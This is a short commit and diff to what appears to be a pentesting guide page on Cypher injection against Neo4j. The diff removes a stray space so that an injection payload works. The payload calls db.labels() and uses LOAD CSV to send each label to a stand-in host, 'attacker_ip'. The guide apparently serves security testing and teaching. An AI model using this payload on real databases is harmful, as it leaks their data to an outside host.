fix a missing space in a cypher-injection payload

fix a missing space in url in cypher-injection-neo4j.md

pentesting-web/sql-injection/cypher-injection-neo4j.md

@@ -125,7 +125,7 @@ Using the built-in method **`db.labels`**, it is possible to list all existing l
 
 {% code overflow="wrap" %}
 ```sql
-'}) RETURN 0 as _0 UNION CALL db.labels() yield label LOAD CSV FROM 'http://attacker_ip /?l='+label as l RETURN 0 as _0 
+'}) RETURN 0 as _0 UNION CALL db.labels() yield label LOAD CSV FROM 'http://attacker_ip/?l='+label as l RETURN 0 as _0 
 ```
 {% endcode %}